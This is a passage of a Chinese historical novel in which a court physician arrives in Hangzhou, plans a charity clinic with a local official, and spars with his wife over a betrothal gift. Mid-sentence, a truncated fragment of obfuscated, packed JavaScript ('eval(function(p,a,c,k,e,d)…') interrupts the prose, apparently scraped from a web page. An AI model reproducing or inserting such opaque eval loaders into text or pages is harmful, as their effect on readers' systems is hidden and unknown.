“多亏此地名医辈出,咱们药局平日只管坐诊卖药,疑难杂症一律另请高明,也不必抢了人家的生意。” 梁恒悠然言至此,蓦地凑近君迁,狡黠低语道: “时下并无大疫,沈学士特从太医局赶来杭州,不会仅是专程来这小小药局教我们开药方的吧?” 君迁一怔,正要搪塞过去,梁恒却忽然瞥到什么,高呼一声“且慢”,旋即匆匆向前奔去。 君迁循迹望去,但见他们已来到了路口处的杭州药局外。大门前人头攒动,挤满了前来求医问药的百姓。另有一行人正从药局里走出,穿戴齐整,不似常人。梁恒飞身上前,对其中一人道: “苏通判且慢!那些都是晌午刚到的新药,未及入库,堆得有些杂乱,稍后便理了——这是药局今次的采买账册,我刚去府衙递了副本,通判可要盘点一二?” 那苏通判是个儒雅温和的中年官人,着一袭天青鹤氅,虽已天命之年,仍是神彩矍铄,行止间流露出少年般的朝气。见了梁恒,并不怪他莽撞,莞尔道: “我又不是微服私访查帐来的,梁医正不必大动干戈。听说午后非你当值,怎又跑来悬壶了?” 梁恒双手一拱,笑嘻嘻道:“路遇一位帝京来的医神,受其大德感召,故又来也!” 苏通判一怔,面露惊喜:“是沈学士到了?” 君迁见状,便知那位就是临行前皇帝曾与自己提及的新任杭州通判苏夔,忙上前致礼。苏夔款款还礼,颔首一笑: “日日望穿西湖水,可算是将你望来了!” 说着便携过他的手来,引荐给自己身边的一众随员: “这几位先生皆是吴越各医派的名家名士,今日有幸同他们讨教医事,正在这里看药呢——诸位,这便是从帝京来的那位沈学士,本朝太医局最年轻的讲授。” 梁恒在一旁抚掌道:“各路神仙齐聚一堂,咱们这小小药局可要蓬荜生辉哩!” 那几位本地名医见了君迁,却无悦色,冷声冷气地问道:“沈学士师出何门何派?可有著述?” 君迁自谦道:“我自幼随祖父研习医理,并无派别。主研本草药学,尚不曾有所著。” 众名医闻言,无不轻声嗤笑。一个中年医者不禁揶揄道: “本草?学士郎莫不是效仿神农氏遍尝百草,研炼长生之药吧?听说太医局倒是以此见长!” 苏夔忙解围道:“沈郎三世医家出身,祖父清忠公在世时人称缙溪先生,于伤寒诊治颇有建树,诸位想必有所耳闻……” 一人打断道:“是那位人称医圣的沈缙溪先生吧?他的《伤寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“马车十余日的路程生生走了快一个月,你再不到,我们都恐你半路掉水里了!”梁恒一脸坏笑,凑近君迁道: “听说沈学士月前燕尔新婚,此行带着娘子来赴任,大抵是一路烟波泛舟,以至乐不思蜀吧?” 君迁面露赧色,尚未辩解,苏夔已摇头苦笑道: “梁医正以为世间男子皆如你一般,成日只念着做个烟波钓徒,好与佳人泛舟湖上?” “梁某本就是个俗人,不比二位敢为天下先。只可怜我不得不为五斗稻粱苦谋,明明身在西子湖畔,却没那范蠡的好命!” “你这饶舌的功夫若花些到医学上,早也像沈学士一般去了太医局,何至于还在此处坐堂?” “我才不去那勾心斗角的太医局呢!每日坐在这小药局里给人把把脉、开开药有什么不好?别看沈学士如今新官到任三把火,我赌他在杭州待上几个月,此生都不想再回帝京了!纵是他想,他家娘子定也不让他回——我就没见过世间有女子是不爱这丝绸之府的!” 梁恒絮絮畅言,谈到感兴趣的,复又凑近君迁,意味深长道: “哎沈学士,听说你新娶的那位娘子可是当朝金宰执的千金哩……” “好了,这里是药局,又不是茶坊,由得你家长里短?”苏夔见他言不及义,忙打断道,“梁医正午后既轮休,便快回家去吧,免得又惹令正同前回一般寻来大闹公堂!” 梁恒闻言,脸上一红,忙辩解道: “还说这里不是茶坊呢,苏通判自个儿倒家长里短起来了!沈学士切莫听他胡说,我前回可没……” 梁医正急于自证,苏夔可不给他这机会,半开玩笑地吩咐左右将他架走了。 “可算清净了。梁郎虽有些口无遮拦,却是个难见的性情中人,与我倒也谈得来。” 苏夔淡淡一哂,举目望向春日天际,自语一般喃喃道: “人活半世,所见皆是暮景,偶与年轻人嬉闹一阵,仿佛落日东升,眼前复又敞亮了不少……” 君迁一时词穷,不知如何回应。正吞声踯躅时,苏夔已向他望来,似看穿了他的心思,豁然笑道: “我知沈郎你亦是个性情中人,不必措辞恭维我了,那些客套官话我也不爱听——进来坐会儿吧。” 28.逢清流 苏夔向杭州药局外排队看病的人群道了借过,侧身挤了进去。君迁随苏通判入内,但见此间人言嘈杂,咳声一片,挤满了前来求医的民众。 堂前匾额上书“杏林橘井”四个大字,底下供着扁鹊、华佗、孙思邈等历代名医像,活的医者却不过三五位——只有一位胡子花白的坐堂老官医,其余皆是如梁恒一般的青年医正,另有几个医学生模样的少年负责抓药。君迁往药柜上一扫,只见到寥寥几种寻常药材,多数都已见底,不禁皱了眉。 本朝重医学,太医局每岁举行科考,绩优者留京,次等调至各地衙署任官医,最末者则下放至地方药局,负责民众医疗。药局于州县上各设一处,通常由一位经验较长的老官医率领数位医正及医学生坐堂接诊。医药费用皆以最低收取,遇大疫时亦无偿施药。虽旨在惠民,然因资金人手匮乏,在一些小地方早已名存实亡。即使如杭州这样的江南重镇,药局前每日亦是大排长龙。若非穷苦百姓,宁可自费去民间医馆求诊,绝不来此排队受罪;遭下放的医官若非走投无路,亦宁可致仕自立门户,绝不愿供职于这俸禄前途皆微薄处。 药局里人满为患,二人好不容易才挤进堂中。众官医正忙着接诊,呼前唤后,左奔右跑。见了苏通判只颔首致意,无人注意他身后那位新人的到来。君迁亦不声不响,随苏夔穿过人群,来到后堂的一间会客室中。 药局占地不广,客室更是狭隘。门窗紧闭,室内弥漫着一股药草的苦香,更显逼仄,却终于清净了。苏夔喃喃自语: “很累人吧?每每来此都不禁感叹,佛家所谓八热地狱无非如此——然对患者而言,此处却不啻药师佛常驻的琉璃净土了。” 他叹息一声,邀君迁落座,苦笑道: “药局里头的茶苦,就不请沈学士闲饮了。” 君迁忙道无妨,又听对席长者徐徐道: “适才听梁医正戏言,称沈学士今次是新官到任三把火——恕我一问,是哪三把火?” 君迁没想到他竟直入主题,正待开口,苏夔从案旁移来一张废纸,援笔濡墨,边写边说道: “你先别说,看我写的对也不对。” 君迁凝神望向对席。片刻苏夔搁了笔,将刚写的那张纸推至他面前。君迁定睛看去,见纸上寥寥三个大字“施济局”。 “施济局”是君迁筹划创建的官办病坊之名,那日春猎时只在御帐中与皇帝一人说过,苏夔显然已提前接到了天子的密信。君迁不禁心潮澎湃,问道:“苏通判可知……” 苏夔和霁一哂,双目之中倏然添了几分冷峻: “沈学士刚到杭州,风尘未卸,本不该急着同你说这些。今日既有缘相见,不妨就此直言——终归是只烫手山芋,早些接了,也好早些凉下来。” 君迁闻言,耐下心来,静待对方发话。苏夔取过那张写着“施济局”三字的纸来,提笔将“局”字单独勾画出,沉声道: “施药济贫,需依凭地势,终落在这个局字上——是乱局还是好局,全看局中人如何应对。沈学士精通医事,然而杭州不同帝京,施济局亦不同太医局,如何因地制宜施药济贫,一纾民之贫病,还望赐教。” 君迁胸有成竹,朗声说道: “关于此事,我曾撰写过一篇治要方略,今日未带在身边,先与苏通判概述,大抵有三则要点——一则是施济局选址,破土动工费时费力,由旧筑改建为佳。选址不宜过远,便于百姓前来求诊,且周边应有医门药坊,便于集合医药资力;二则,施济局设立后,仅以朝廷调派医官人力有限,当广募本地医门志士分班坐诊施药,也便探讨药方,应对疑难杂症。杭州医风盛行,觅得一批愿来义诊的医士并非难事;三则,施济局中所需药品采买应与药局一般走明账,由户部核批后按季下发,不得令地方药商私自承揽,以绝贪墨事由;亦当尽力在民间筹募善款,公私相济,以持久供应局费药金开支。” 苏夔认真听着,不时颔首赞许。君迁滔滔语毕,稍作停顿,敛容望向苏夔道: “临行前,陛下曾盛赞苏通判之高德,称君为清流之砥柱。我只擅医事,于官场事务不甚了解。筹建施济局所涉繁多,还望通判指点迷津。” 苏夔闻言,颇为自嘲地一笑,徐徐道: “什么清流砥柱,至多算是条支流,否则何至于被调离帝京?——沈学士的为人,陛下曾与我说起过。今日一晤,果不其然。适才也说了,我虽非自在散人,却向来喜欢同你们这些性情中人打交道。你还年轻,人情世故自不必说,该帮的我都会尽力帮,君且请安心行事。” 君迁十分感激,正要言谢,又听苏夔话锋一转道: “然则,我虽挂了通判之名,官场上下掣肘,各自为政,很多事想遂意去办也是很难。单对付这一个杭州府衙,就够一番折腾……我犹如此,今上初继大统,在帝京只会更难。听闻沈学士是东宫侍读出身,个中情状,想必比我更加了然吧?” 通判一职仅次于知州,主责州内粮运水利等事宜,虽也是州府长官,并无实权,处境之难可想而知。苏夔轻叹一声,继续说道: “今上自开春继立以来便暗中筹划此事。两月前我调任杭州,也是奉了密诏,借江南地利人和之便,在此试行别处做不得的事——你的施济局便是其一。此事说大不大,说小却也不小。这两个月来,我借身份之便走访了此间诸多地界,尽可能牵线搭桥。 “方才你见到的那几位本地医家,皆以医德著名,为人虽清高了些,对官办施济局之事却十分支持,甚至愿无偿相助。你的治要方略中也提及施济局开设后,可集人力广募本地医门同仁轮替义诊,此事想来并不难。” 苏夔言至此停了下来。君迁听出其弦外之音,低低问道:“那难处是……” 苏夔笑了笑,意味深长地望向君迁: “沈学士午前去了杭州府衙,可曾见到王知州了?”见君迁摇头,又道,“你可知他去做什么了?” 君迁一怔:“听说知州陪同胡商去看丝绸了。” 苏夔一哂:“你可知他去哪里看丝绸了?” 君迁何曾还记得梁恒说的那“文锦院”,只得沉默。苏夔叹了口气,举起手边的那张旧纸,盯着自己写下的那三个大字慢慢说道: “适才说了,施药济病皆不难,难在这个局字上——凤凰山北万松岭上有座旧药王庙,大小合宜,闹中取静,周边又多医门药铺,如你所言,正是改建为施济局的不二选址。我跑遍满城,再寻不出更好的地方。那旧庙又是前朝遗迹,无主无名,无需靡资买地。凤凰山一带多聚药业,我走访了周边街铺的几位药商,得知他们本想众筹重修此庙,供奉药王真人以兴其业。我将筹建施济局一事说与他们听后,他们都十分支持,同意将原打算修庙的善款捐出,权当布施功德。 “按理,施济局是朝廷的工事,需由官府出面走章程,然而现况你也是清楚的。我一人毕竟代表不了官府,等户部拨款又不知猴年马月。因此,便只得先发制人——除却周边药商募捐的那笔善款,我又说动几位好心的典业、钱业商贾,筹齐了资金,权作起始的局费药金;又请好了工匠,四处打点好了动迁事宜,本预备月中便动工改建,待有了雏形,日后时机成熟,再慢慢交由官府经手。” 君迁凝神聆听,果听他说出了“然而”二字。 “然而,就在我们准备动工前,药王庙所在的那块地竟被别人包下了——对方甚至拿出了一纸地契,显是伪物,可那上头竟还有杭州府衙的证印。” 君迁一愣,蹙眉道:“王知州?” “倒不是他本人,而是文锦织造院的官商,一个张姓丝绸商。此人与王知州私交甚好,手下几百张织机,杭州的丝绸生意大半仰赖于他。今日西域商人来文锦院谈生意,主要也是和他谈,王知州只是代表官府去捧个场——当然了,卖丝绸所得的银两,官府是少不得要抽些去的,王知州本人就更不必说了。” “那药王庙……莫非是他们?” “药王庙的地契在那个张官商手上,正要改建成绸行。此前已动过工了,惹了众怒,遭附近百姓联名状告,不得已消停了一段时日。” “官司结果如何?” “你说呢?” 苏夔颇为讥讽地一哂,幽幽说道: “除了药王庙一带,城中亦有多处遭侵地强占。不单是那张官商一人,本地几个大丝绸商皆集资参与。我打听了下,其价不菲。” “他们既同官府合作经商,为何还要新建绸行?” “替官府做买卖,只是营生;自己开业揽客,方是生意。我本想试着将那药王庙的所谓地契转购 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“沈学士切莫误会,我此言但陈事实,并无他意。我若以身份取人,你我今日便不会有这番长谈,陛下更不会专程委你来此了。” 君迁低语:“我此行只为做些实事,并无他念……” “沈学士无需自辩。凡世间之人,无不是尘网缠身,心为形役,这本不言而喻。” 苏夔敛容正色,深望着君迁,慢慢说道: “方才说了,我于医门尚可称是化外之人,虽尽力钻研,终需内行指点,施济局之事离不得你。杭州虽是个富庶之地,平日看似不缺医药,若逢大疫之时,亦是惨景连连。坊间穷苦百姓无处安济,不得救助者甚众——这些不必我说,想必沈学士这一路上所见所闻,要深切得多。” 君迁一凛:“苏通判已知晓了?” 苏夔颔首:“当初听说你舍近求远走水路来,我便猜测你是想借机深入沿途村落,探访各地医况。毕竟那些偏僻之地,平日难有机会去到。” 君迁忆及旅途所遇种种,心中无限凄凉,黯然道: “帝京来此水路曲折,途径诸多渡岸旁的村镇,因地势闭塞,常年遭水患疫疾所扰。以往仅是耳闻,此行切身所察,方知其灾况远比预想更甚。很多地方莫说医士,连寻常药饵都十分匮缺……” 苏夔叹息一声,摇了摇头: “我为官半生,举国各处也算跑了大半,不曾见过什么新鲜景象。如今到了江南,发觉吏治之况尚且如此,你说的那些地方更是不难想见了……可怜苍生,唯能向神佛祈求安康。沈学士这一路义诊施药,总算为当地百姓带去些慰藉了。” 君迁嗫嚅:“力有不逮,仅是杯水车薪。” “三界无安,犹如火宅。杯水甘露,好过焦渴而死——施药局若得以建成,作用无外乎此。”苏夔侧头望向窗外,“今上年少,虽怒马鲜衣之龄,难能有此仁念,是苍生黎庶之幸。” 一时无言。君迁只觉坐立难安,又听苏夔道: “适才听沈学士简述施济局筹设之治要方略,受益匪浅,明日烦请借原本拜读。然而目下,若不解决药王庙之事,一旦那绸行再度动工,恐再有十篇处方也不抵用了。” 言毕,起身移来架上灯盏,点起火来,将那张写着“施济局”三字的旧纸就着烛火烧了,叹道: “沈学士新到杭州,不曾领略江南风光,就与你点了这三把火来,害你焦头烂额,实属愧疚。” 君迁一哂:“晚辈与苏通判一般,并非是来赏景的。” 苏夔苦笑一下,起身步至窗前,举目望着一角湛青色的春日天幕,沉声道: “《国语》云,上医医国,其次疾人。国疾深固,纵是沈学士这般的贤能亦无力为上医;至少人世之疾,吾辈当勉力愈之。” 君迁闻言,心绪万千,忽见那鹤氅长者转身向自己温恭一揖: “吾非医者,当个药工总是在行的。施药济病兹事体大,望君不吝襄助。” 君迁忙起身还礼:“苏通判言重。施济局之事迫在眉睫,若有堪用之处,晚辈必竭力而为。” 苏夔扶起他,莞尔道:“说了这一席话,可累坏了。沈学士目下可有空闲?此间闷得慌,我与你去凤凰山脚下的那座药王庙转转吧——拜了药王真人,或得破局之灵感,亦未可知。” 29.茱萸匣 君迁刚到杭州便结识了苏通判,一番畅谈打开心扉,只觉相见恨晚,如释重负。二人在药局长谈毕后,又来到凤凰山万松岭上的那座旧药王庙前。果如苏夔所言,此地已被织造院官商非法侵占,里外皆圈得死死的,预备改建成锦绣金窟开门迎客。至于庙内的那尊药王真人雕像,早已被砸得粉碎了。 二人无缘拜见药王,遂在山下一带随意走了走,已是薄暮。苏夔欣赏君迁为人,执意邀他至常去的茶肆中用夕食,君迁遂同这位初次见面的上司一道用了餐。彼此虽年岁悬殊,然心性相近,话语投机,又谈及施济局筹建之事,围炉煮茶,不觉聊到了戌时出头。 辞别苏夔后,君迁匆匆乘车赶回居所。武林门外半道红,路旁桃树袅立春夜,花枝招展,落英缤纷。远观热闹纷呈,身居其中却感到一丝不合时宜的寂然。 凤凰山归来数十里路,到家时暮色已深。君迁一进门厅,但见灯火通明,绛烛高照。与之对应的却是满席残羹冷炙,皆是他午前未及动筷的春菜佳肴,放到如今已失了色香。 金坠独守空席,若无其事,笑盈盈地抬头望着他。君迁被她那反常的假笑惹得发怵,正想回避,金坠却已起身招手道: “回来了?快坐下。” 君迁小声道:“我吃过了……” “吃过了就不能吃了?” 金坠一把拽回他,不由分说逼他坐下,从旁取来一盒五花八门的糯米果子,拈出一只递给他: “喏,这是隔壁罗娘子自己做的果子,特送来让你也尝尝呢。” 君迁先前在茶肆已被苏通判强塞了一堆江南名点,哪里还吃得下。眼见金坠一脸严肃,只得接过那枚果子。甫一入口,便觉甜腻发慌,忙从桌上取来茶壶。金坠一把按住他的手: “哎!那茶凉了,我给你倒新的。” 说着,转身取来一只温在炉上的白陶小壶,斟满一盏,双手奉上。君迁早被她笑里藏刀的假殷情折腾惯了,懒得过问杯中是什么苦药,看也不看一饮而尽。 他从医数十载,虽不如神农遍尝百草,凡此世间药味大多了然,无论甜酸苦辛,早已如人饮水,冷暖自知——此刻,他却如儿时在郊外山林中初尝野果一般,被唇舌间那股冲人的酸涩搅失了神。 金坠见他发梦似的怔住,故作好奇:“怎么了?” 君迁倏然看向她:“你添了什么?” 金坠勾了勾唇:“你说呢?” 君迁一怔,伸手揭开那只白陶壶,垂眸一瞥,低低道:“你……你将那药拆了?” 金坠撇撇嘴:“本就是送我的聘礼,不能拆么?” “你知道这是什么……?” “我当然知道——灵丹妙药、价值连城,可不好浪费了!” 金坠将那茶壶移到面前,如数家珍一般望着泡在水中的一粒粒小红果。 “夫君快快满饮,如此琼浆玉液,剩下一滴来可都是罪过!” 见君迁一动不动,又曼声讥诮: “怎么不喝了?赤玉玛瑙、红豆樱桃,可都没这小小的红果子来得值钱呢。” 君迁双目低垂,欲言又止。金坠幽幽道: “事到如今,沈学士还有什么要说的?该不会又要一本正经地向我解释这山茱萸果的神奇来历吧?” 她冷笑一声,从桌子底下捧出只系着红绸的紫檀小匣打开,将那些红彤彤的山茱萸果连盒甩到他面前。 “这就是你所谓价值连城、让我用十两黄金来赔你的聘礼?” 君迁并不看那匣中之物,沉吟片时,颔首道:“不错。” “不错?”金坠气不打一处来,“这东西满城药铺子里都是,何来价值连城?” 君迁从容道:“满城皆是,岂非连城?” “你……!” 金坠被他这番强词夺理惊到,一时语塞。君迁抬头望向她,一脸无辜:“有什么疑问吗?” “十两黄金呢,也值这个价?”金坠厉声质问。 “我已说了,这是很实惠的价码了。”君迁不疾不徐道,“娘子若不信,不妨拿着十两黄金将满城的山茱萸果都买下来,看能否买得到。” “好你个草泽医人江湖郎中!你就这么缺钱?连自家娘子都讹!” 金坠忍无可忍,拍案而起。君迁敛容正色,不卑不亢道: “是你说要与我和离的,我不过是要回本属于我的聘金,两不相欠,天经地义。你我已就此签了契据,娘子若要毁约,只恐这门亲事是离不成了。” “我,我与你打官司去!” “这倒是个法子。不过依本朝律,婚亲讼事需于户籍原址提理——娘子若想与我对簿公堂,还请稍安勿躁,待我任期满后回京再议。” “待你猴年马月回去,我早就攒够那十两黄金了!” 金坠没料到他竟这般胡搅蛮缠,丧气甩袖颓坐在一旁。君迁淡淡道: “如此亦好。娘子决心可嘉,定可速掘财道,早偿欠款。你我也好一别两宽,各生欢喜——为时已晚,若无他事,我就先回房了。” 他站起身来,正要离去,金坠冷不丁道:“站住!” 不待君迁反应过来,她已如风一般飘到他身前,捧着那只茱萸小匣冲他晏晏一笑: “好个一别两宽,各生欢喜——毕竟夫妻一场,既已决定好聚好散,趁现在还未一别,也没必要板着脸孔。夫君不惜以此连城之宝作聘,当真是看得起我。我也不好独享,分些给你尝尝吧?” 说着,抱着匣子气势汹汹地向他逼近,端着声气儿道: “此药金贵,泡水难得真味,生吃才最为滋补!让我算算,这一盒里大抵有白来粒吧?一盒既是十两黄金,那这一粒怎么说也值好几吊钱吧?阿弥陀佛,粒粒是宝呀!沈学士不是说过,最见不得人暴殄天物浪费药材,何况是这稀世灵药?喏——怎么,要我喂你不成?” 金坠言毕,从匣中攥出一小把山茱萸果,不由分说往他嘴里塞去。君迁如临大敌,仓皇后退,奈何他退一步,她进一步。他再退,她再进。须臾退至墙角,君迁无路可逃,只得认命,双目紧闭,任由她笑盈盈地将那把无比酸涩的小红果硬塞给他。 “哎哟,这一口下去好几十钱没了!你嚼得慢些,细细品才是!” 金坠得意洋洋,盯着他将那苦果咽下。见他转身要逃,忙拽住他道: “哎等等,既是灵丹妙药只吃一回哪里够!来!” 说着又从匣中取出一把小红果。君迁忙于奔命,金坠穷追不舍,二人在屋中你逃我赶,秦王绕柱,君迁慌不择路躲到屏风后,疾声道: “你干什么!别过来!” “夫君别躲呀,快来吃药——这么大人了,怎么吃颗药都要人追着喂呀!” “你,你别过来!” 君迁忍无可忍,趁其不备,风驰电掣夺门而出,蓦地却在门外撞到个人,正是来看茶的宛童,撞得那小婢子嘤嘤呼痛。君迁如梦初醒,忙向她赔礼: “抱歉,我……” “你们这是在玩儿躲猫猫么!屋里那么窄,去外头玩儿不好么?” 宛童正要埋怨,金坠捧着匣子幽幽而来,粲然一笑: “是啊,咱们到外头去玩儿吧!夫君记得藏好些,被我抓着可是要罚你吃药的!” 君迁何待她说完,扭头便跑,顷刻消散在廊外的融融春夜中,惹得宛童好奇道:“你俩当真在玩躲猫猫不成?” 金坠冷笑:“不然你以为呢?” “我以为五娘又欺负你家夫君呢!” “我又不是河东狮,欺负他作甚?我与他做游戏呢。” “沈学士在外头忙了一日,五娘是该与他做做游戏放松放松! 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是夜,二人一如既往分房睡。杭州新居虽不宽敞,厢房却管够,得以省下同床异梦的麻烦。金坠在船上漂泊十数日,终得平稳落地,虽是异乡首夜,睡得倒很安稳,一宿无梦到天明。 翌日一早,天色清明,春光暖融。君迁已赶早去府衙点卯了,金坠洗漱完毕,用了朝食,来到小院中一面信步消食,一面想着那令人头疼的十两黄金。 江南住宅皆带园林院落,他们这处宅子不算大,不过几丛翠竹桃花、几块湖石假山、一池清水荷塘。塘边有座小亭,还题了匾额,上书“听雨亭”三字。可惜池中荷叶方露尖,尚无“留得枯荷听雨声”的意境。 小院窄窄,几步便到了头,心里却没个头绪。金坠决定先出去碰碰运气,遂回屋取出一路上做的几幅绣画,正要出门,忽闻外面足音橐橐,莺声曼曼,果是隔壁那位罗娘子不请自来,远远向她招手: “坠姊姊日安!姊姊在做什么呢?” “没什么,正绣花打发时间呢。” “真美呀!姊姊的手可真巧。这是什么花儿,从没见过呢。蓝莹莹的,小鸟一样!” 罗盈袖凑到金坠身侧,好奇地望着绣画上那些奇花异草。金坠谦虚道:“胡乱绣的,我也不知是什么。” 盈袖携了她的手:“外头天气好,闷在家里多无聊啊!我正要去武林门丝绸坊取前回订做的春衫,坠姊姊陪我一同去吧!” 金坠正愁初来乍到没个方向,闻言一喜,忙跟着盈袖出门。武林门距此不远,二人信步漫游,徐徐穿过街市。春日和煦,游人如织,遍地都是踏青的红男绿女。盈袖东张西望,走走停停,金坠跟在她身后,寻机问道: “有一事想向罗娘子打听……” 盈袖正凑在一家卖花摊前挑花,头也不回:“你别再一口一个罗娘子,我就告诉你!” 金坠忙道:“有一事想向盈袖妹妹打听。” 盈袖回过身来,将一朵白玉兰簪在金坠鬓角:“坠姊姊请问!” 金坠莞尔:“妹妹平日可有什么生财之道么?” “坠姊姊是缺钱用么?”盈袖摆摆手,“不用生财,你缺多少,我借你便是!” 金坠忙道:“我不是这个意思……” 盈袖不待她说完,嘟了嘟嘴:“你家那位沈学士可真小气,怎也不多给你些钱花呀!” “我只是想自己攒些钱下来。”金坠叹了口气,“实不相瞒,我没有多少值钱的嫁妆,因此想寻些生财之道……” “姊姊要攒钱做什么?买首饰么?” “若是首饰倒还好办。”金坠苦笑,“我有件十分重要之事,需攒下许多钱才可办成。” “姊姊莫怪我没见识,花钱倒是擅长,赚钱么……”盈袖将手中的花枝转了转,粲然一笑,“对了,一会儿到了丝绸坊,我替你问问乔娘子吧!她家大业大,会做生意,定有法子的!” 30.绮罗丛 武林门地近京杭运河,自古为钱塘繁华之所。此地人烟辐辏,商贾云集;货行林立,奇珍琳琅,尤以绫罗绸缎为盛。 杭罗美名远扬四海,都民士女罗绮如云,丝绸商号多达百众,金银往来动以万计。鉴于此,朝廷特于武林门外夹城巷设官营文锦织造院,坐拥织机织匠数百,专供宫廷御用、海外贸易等。寻常百姓买绸,首选便是武林渡口附近的“锦绣林”绸市。货品虽不及皇家御锦金贵,品类之多足以令人目眩。 金坠随罗盈袖来到绸市,甫一入内,便见丝绵、生帛、枕冠、故衣、衣绢、银朱彩色行等林立如云。目之所及,无不纨绫绮绨,罗绣糓絺。往来商客多女子,柔纤飘袅,活色生香。 金坠素日对衣饰装扮兴味索然,掉入这绮罗丛中,只觉头晕目眩。盈袖则两眼发光,拽着她左逛右逛,终于停在绸市尽头的一家绣品店前。 “这便是乔娘子家了!别看外头不怎样,这锦绣林每日卖出去的丝绸大半都是她家的呢!” 金坠抬头看去。商铺外干净清爽,并无揽客叫卖,匾额上仅题“乔氏绣坊”四字,不似别家那些挖空心思取的旖旎店名。 二人入内,见此间窗明几净,供着鲜花,熏着沉香。柜台按花色纹样陈列各式绸缎,给人以清净之感。店中并无别的客人,花香幽幽,云烟袅袅,十分静谧。一个四十左右的素衣女子独立柜前,低着眉眼,正安静地拨着算珠儿记账。 “乔娘子日安!我前回定的那套香云纱罗衫可制好了么?” 乔氏听闻盈袖唤她,抬头一笑:“等你许久了,这便去取来。这位是……” 盈袖携着金坠的手:“这是住我隔壁的金坠姊姊,昨日才搬来杭州,我带她出来转转!” 乔氏与金坠道了日安,转身去库房取罗衫了。盈袖向她耳语: “乔娘子家的花样不同别家,皆是她自己绘的,又是手工精绣,我每季都在她这儿定制衣裳,从不撞衫呢!” 金坠见店铺中冷冷清清的,低声道:“你确定这间铺子是这儿生意最好的?” “那当然!你晓得乔娘子是什么人?她夫君可是杭州最大的丝绸商,替文锦织造院经营生意,手下有好几百架织机呢!这只是他们家十几家铺子中的一间罢了。” “织造院?” “别看这样,乔娘子可是白手起家,不仅绣得一手好花,做起生意也是一把好手。他夫君当初能攀上织造院的好差事,还是靠着她的关系呢……” 两人正嚼着舌根,乔氏已从库房中回来,笑道:“在说什么?” 盈袖正色道:“我正同坠姊姊讲你的本事呢!我说乔娘子家大业大,凡事还亲力亲为,连掌柜的都自己来当,委实让人佩服!” 乔氏苦笑:“什么家大业大,不过是给人做嫁裳罢了。” 盈袖笑道:“可不是人人都能给朝廷的织造院做嫁裳呢!宫里最近有什么时新纹样,可好让我们饱饱眼福?” 乔氏笑道:“说是新的,不过都是前几季流行过的那些金玉花样,至多换几种绣染法,稍稍翻新下罢了。” “那有什么,宫里的贵妃娘娘们又不差衣裳穿,一套金玉绸缎穿一两回就丢了,下回见到,还当又是新的呢!”盈袖扭头看向金坠,“坠姊姊从帝京来,可曾去过宫宴,见过什么新奇景象么?” 金坠道:“若是衣衫,看似花式新奇,应时流变,实则大同小异,莫若古典纹样耐看。穿衣的人倒是每季都不一样,皆是些新面孔,有时都分不清谁是谁,只得凭衣饰辨认了。” 乔氏闻言微哂:“正所谓衣不如旧,人不如新呢。” “我偏喜欢新衣裳,人倒还是旧的好!” 盈袖娇声语毕,在乔氏的帮助下试穿起那件明黄色的香云纱春衫来。一面试衣,一面说道: “说来许久没见乔娘子家上新了呢。我刚才在别家转了转,也没见着什么新花样,翻来覆去尽是些俗气的花鸟鱼虫,真是无趣!” “实不相瞒,开业数十年,该绣的花样也都绣遍了,如今我竟也想不出什么好点子来……” 乔氏轻叹一声,温柔的眉眼之中凭添惆怅,幽声道: “近年生丝价涨,生意难做。这月好容易有笔大单,我绞尽脑汁绣了些新纹样,结果被买主嫌陈旧,愁得我做梦都在想图案。这笔生意若是不成,我都不知怎么是好了!” 金坠心中一动,问道:“不知乔娘子此单何日交付,总量多少?” “买主定的是两月后交货,数量倒不多,一共七件,因皆是手工缝绣,颇费时力,定价也高些。” “乔娘子可知他们定制此衣作何用途?” “那家是杭城大户,特来给家中女眷定做端午家宴的新夏衣呢。”乔氏见金坠若有所思,问道,“金娘子问这个做什么?” 金坠回过神来,莞尔道:“我从未定制过成衣,不知流程,因而有些好奇。” “不会吧,坠姊姊从小到大,竟从没去过成衣铺么?我以为帝京人人都不缺衣裳穿呢。” 盈袖一面在镜前抬手试衣,一面转过身来惊叹。金坠淡淡一哂: “衣不如旧,我不爱穿新的。” “我不信,哪有女孩子不爱穿得漂漂亮亮的!来都来了,坠姊姊也挑一套新衣裳吧!” “我就不必了……” “没事儿,我送你!就当是我与姊姊义结金兰的聘礼了。” 盈袖小手一挥,乔掌柜审时度势,对金坠笑道: “正好此前有一件新到的石榴红绢褙子,尺寸不合被人退了,金娘子若穿得上定好看极了!我这就拿来给你试试。” 金坠没来得及推脱,乔氏已从库房取回一件长褙子,朱绢鲜亮,通体无饰,只在两襟缝绣了黑金云纹,明丽而不失清雅,婆娑而不失雍容,十分夺目。 金坠虽不喜着艳,也为这件精美的杭罗所折服。乔氏和盈袖忙着替她换上,少不了一番交口称赞。乔氏端详半晌,转身从花瓶中折来一朵桃花簪在她鬓畔,笑着点了点头: “这下便是‘人面桃花相映红’了!” 金坠赧然言谢,正要脱下,乔氏正色道: “鄙店有个规矩:凡从我绸铺采购者,走出店门时,不得再着来时衣衫——还请金娘子守约。” 金坠敛衽一笑:“遵旨。” 作别乔氏,二人身着新衣,从锦绣林绸市满载而归。走出片刻,盈袖忽惊道: “哎呀,只顾试衣,忘了正事了!” 金坠一愣:“什么正事?” 盈袖撇撇嘴:“你不是想向乔娘子打听生财之道嘛!” 金坠从容道:“不必,我心中已有数了。” 盈袖乐得如此,又拉着她去西湖边闲游。春光明媚,二人着绮披罗,混入满街踏青的红男绿女之中,倒显得其乐融融。金坠毕竟收了她的金兰重礼,只好奉陪到底,从白堤逛到孤山,一路分花拂柳,怡然自在;逛累了又在湖畔知味坊里吃了午茶点心,直至金乌西沉才尽兴而归。 金坠奔忙整日,腿疼腰酸,只盼早些归家休息。好容易回到了半道红小院,还没进屋,就见宛童小跑而来,一脸惊慌地拉住她道: “五娘可算回来了!不好了!” “怎么了?” “沈学士……”宛童哭丧着脸,“沈学士他中了邪,不知跑到哪儿去了!” 金坠一怔:“中什么邪?这宅子里有恶鬼怪兽不成?” “什么怪兽,是只鹦鹉儿!不知从哪儿飞来,沈学士进屋时正落在他肩上。他竟同见了鬼似的,吓得一溜烟跑没了影儿!我们屋里屋外找了他几圈,也不知跑去哪里了!” “这倒奇了!他平日见了五毒都不变色的,怎会被一只鸟儿吓成那样?” “天晓得呢!五娘快去寻寻他吧!” 